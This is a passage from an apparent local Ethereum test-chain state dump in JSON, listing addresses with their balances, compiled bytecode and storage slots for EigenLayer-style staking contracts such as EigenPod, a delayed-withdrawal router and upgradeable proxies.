1115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212201a01de1d59be7fe16e003e55aa445e180a6e7594b61dacfe81b7a8e81476cdc664736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x68b1d87f95878fe05b998f19b66f4baba5de1aed":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea26469706673582212208638e66f5dce0ad66ff3676e3d1ac48bc288949bb5c5e4f6ec1f16e582f0f63064736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x70997970c51812dc3a010c7d01b50e0d17dc79c8":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x70e0ba845a1a0f2da3359c97e0285013525ffc49":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","storage":{"0x17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec":"0x0000000000000000000000000000000000000000000000000000000000000001","0x295841a49a1089f4b560f91cfbb0133326654dcbb1041861fc5dde96c724a22f":"0x000000000000000b000000000000000000000000000000000000000000000000","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000009d4454b023096f34b160d6b654540c56a1f81688","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}},"0x7969c5ed335650692bc04293b07f5bf2e7a673c0":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d0565b61090b565b34801561040157600080fd5b5061024f61041036600461178f565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117da565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c01630036106265760405162461bcd60e51b81526004016104e3906117ed565b7f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c06001600160a01b031661066f600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e390611839565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c01630036107175760405162461bcd60e51b81526004016104e3906117ed565b7f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c06001600160a01b0316610760600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e390611839565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a0683398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611885565b116109c1578361099f8285611885565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec61189c565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118b2565b919050555085816000016000828254610a8691906117da565b9250508190555050508080610a9a906118cb565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d9089906004016118ee565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611885565b610b6b91906117da565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b